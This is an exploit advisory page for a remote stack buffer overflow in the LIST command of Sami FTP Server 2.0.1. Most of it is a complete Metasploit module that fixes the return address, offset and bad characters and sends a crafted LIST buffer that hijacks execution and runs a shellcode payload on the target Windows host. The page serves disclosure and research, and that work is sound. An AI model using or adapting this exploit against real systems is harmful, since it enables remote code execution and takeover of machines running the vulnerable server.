Sami FTP Server LIST Command Buffer Overflow

2013.03.20
Credit: Doug Prostko
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Sami FTP Server LIST Command Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1. The vulnerability exists in the processing of LIST commands. In order to trigger the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing application, in the target machine. On the other hand, the source IP address used to connect with the FTP Server is needed. If the user can't provide it, the module will try to resolve it. This module has been tested successfully on Sami FTP Server 2.0.1 over Windows XP SP3. }, 'Platform' => 'win', 'Author' => [ 'superkojiman', # Original exploit 'Doug Prostko <dougtko[at]gmail.com>' # MSF module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '90815'], [ 'BID', '58247'], [ 'EDB', '24557'] ], 'Privileged' => false, 'Payload' => { 'Space' => 1500, 'DisableNops' => true, 'BadChars' => "\x00\x0a\x0d\x20\x5c", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Targets' => [ [ 'Sami FTP Server 2.0.1 / Windows XP SP3', { 'Ret' => 0x10028283, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll 'Offset' => 228 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 27 2013')) register_options( [ OptAddress.new('SOURCEIP', [false, 'The local client address']) ], self.class) end def exploit connect if datastore['SOURCEIP'] ip_length = datastore['SOURCEIP'].length else ip_length = Rex::Socket.source_address(rhost).length end buf = rand_text(target['Offset'] - ip_length) buf << [ target['Ret'] ].pack('V') buf << rand_text(16) buf << payload.encoded send_cmd( ['LIST', buf], false ) disconnect end end

References:

http://cxsecurity.com/issue/WLB-2013030012


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